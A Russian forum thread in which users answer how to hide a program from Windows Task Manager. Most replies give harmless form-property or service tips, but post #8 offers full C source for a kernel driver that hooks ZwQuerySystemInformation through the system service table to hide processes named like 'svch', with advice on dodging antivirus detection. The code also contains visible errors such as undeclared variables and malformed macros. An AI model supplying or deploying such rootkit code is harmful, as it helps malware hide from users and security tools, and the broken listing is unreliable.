![]() |
|
| Правила Форума редакция от 22.06.2020 |
|
|||||||
|
|
Окажите посильную поддержку, мы очень надеемся на вас. Реквизиты для переводов ниже. |
|
![]() |
|
|
Опции темы | Опции просмотра |
Language
|
|
|
#1
|
|
Новичок
Пол:
Регистрация: 21.06.2007
Сообщений: 9
Репутация: 10
|
Как спрятать прогу в диспетчере задач?
|
|
|
|
| Реклама: | bcna306e2s | телеграм maps | самый дешевый холодильник где купить цена | зенит арена концерты 2026 - redkassa.ru | барнхаус проекты двухэтажных домов |
|
|
#2
|
|||||||||||||||||||
|
Есть вариант не прятать прогу от диспетчера задач, а просто его отключить
![]()
|
||||||||||||||||||||
|
|
|
|
|
#3
|
|
Подобная тема рассматривается в книге "Си++ глазами хакера"
|
|
|
|
|
|
|
#4
|
|
Неактивный пользователь
Регистрация: 21.08.2007
Сообщений: 6
Репутация: 0
|
Скачай RXLibrary, там при выборе формы просто поставишь нужные значки (закрыть, спрятать, развернуть) и установишь им свойства какие хочешь.
|
|
|
|
|
|
#5
|
|
Неактивный пользователь
Регистрация: 24.09.2007
Сообщений: 13
Репутация: 14
|
Спрятать прогу от диспетчера не сложно, это можно настроить в свойствах формы. Гораздо сложнее спрятать процесс от всевидящего ока диспетчера задач.
В Windows 9x это довольно элементарно, и решается вызовом соответсвующих API функций. А вот в линейке NT/2000/XP/2003 сложнее. Один раз мне это удалось в делфи. Должно сработать и билдере. Точный код не найду, но идея была поставить глобальный системный хук на вызов диспетчера и поменять список файлов в окне на лету. |
|
|
|
|
|
#6
|
|
Неактивный пользователь
Регистрация: 25.09.2006
Сообщений: 8
Репутация: 21
|
Способо вообще один - реализаций много. Начиная от драйвера перехватывающего функцию NtQuerySystemInformation и заканчивая глобальным хуком. Смысл один: Диспетчер задач вызывает определенные функции API для получения списка процессов системы. Для сокрытия достаточно отловить этот вызов и фильтровать возвращаемые функциями API результаты, не передавая диспетчеру данные о тех процессах которые хочется скрыть.
|
|
|
|
|
|
#7
|
|
Новичок
Регистрация: 12.04.2010
Сообщений: 7
Репутация: 0
|
Еще можно приложение реализовать в виде системного сервиса, Советую почитать "Системное программирование в Windows" Александра Побегайло.
|
|
|
|
|
|
#8
|
|
Вот код драйвера для скрытия процесов, собирать в Win DDK , если будет ругаться антивирус, поменяй местами обьявления структур!!!
Каспер после таких махинаций с ядром в накуте. Код HTML:
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build ServiceDescriptorTableEntry_t, *
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
}PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYS_SERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define SYSCALL_IND(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK (_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK (_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
PMDL mdl;
PVOID *MappedSystemCallTable;
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID Clientls;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG Processld;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //только для Windows 2000
struct _SYSTEM_THREADS Threads[1];
};
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
ZWQUERYSYSTEMINFORMATION Pred_func;
NTSTATUS MyZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
DbgPrint ("Visov funkcii lovushki");
s = ((ZWQUERYSYSTEMINFORMATION)(Pred_func))(
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(s))
{
if(SystemInformationClass == 5)
{
struct _SYSTEM_PROCESSES *curr=(struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
if ((curr->ProcessName.Buffer) != NULL)
{if(0 == memcmp(curr->ProcessName.Buffer, L"[COLOR="Red"]svch[/COLOR]", 12)) // сдесь измени начальные буквы твоего процесcа
{UserTime.QuadPart += curr->UserTime.QuadPart;
KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev)
{if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else
prev->NextEntryDelta = 0;
}
else
{if (curr->NextEntryDelta)
(char *)SystemInformation += curr->NextEntryDelta;
else
SystemInformation = NULL;
}
}
}
else
{
curr->UserTime.QuadPart += UserTime.QuadPart;
curr->KernelTime.QuadPart += KernelTime.QuadPart;
UserTime .QuadPart = 0;
KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta)
((char *)curr += curr->NextEntryDelta);
else
curr = NULL;
}
}
else if (SystemInformationClass == 8)
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += UserTime.QuadPart + KernelTime.QuadPart;
}
}
DbgPrint ("lovushki vernula snachenia");
return status;
}
VOID MyUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint ("Driver unload");
UNHOOK( ZwQuerySystemInformation, MyZwQuerySystemInformation, Pred_func);STATUS_SUCCESS
return ;
}
NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING theRegistryPath)
{
DbgPrint ("Driver load");
DriverObject -> DriverUnload = MyUnload;
UserTime.QuadPart = KernelTime.QuadPart = 0;
Pred_func = (ZWQUERYSYSTEMINFORMATION)(SYS_SERVICE(ZwQuerySystemInformation));
mdl = MmCreateMdl(NULL,KeServiceDescriptorTable.ServiceTableBase,KeServiceDescriptorTable.NumberOfServices*4);
if(!mdl) return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(mdl);
mdl->MdlFlags = mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(mdl,KernelMode);
HOOK (ZwQuerySystemInformation, MyZwQuerySystemInformation, Pred_func);
DbgPrint ("Lovushka ustanovlena");
return STATUS_SUCCESS;
}
Последний раз редактировалось migddk; 19.04.2010 в 15:09.. |
|
|
|
|
|
|
#9
|
|
Неактивный пользователь
Пол:
Регистрация: 10.02.2011
Сообщений: 3
Репутация: 0
|
Для того, чтобы спрятать из полосы задач Программу, необходимо в ОnCreate вставить
Form1->Visible = false //Предполагается, что у Вас 1 форма с именем Form1 Application->ShowMainForm = false; После этого приложение будет видно только в процессах Последний раз редактировалось Ivan_Nikit; 10.02.2011 в 18:38.. |
|
|
|
![]() |
Похожие темы
|
||||
| Тема | Автор | Раздел | Ответов | Последнее сообщение |
| Процессы в диспетчере задач | Ko_2009 | Windows XP | 21 | 26.03.2010 00:34 |
| Как спрятать файлы на винте :-)) | olga14 | Скорая помощь | 31 | 20.04.2009 00:54 |
| Исчезла вкладка "Пользователи" в Диспетчере задач | beh_older | Windows XP | 4 | 23.06.2008 15:17 |
| спрятать ссылку | anga | Архив | 5 | 26.01.2008 21:36 |
|
|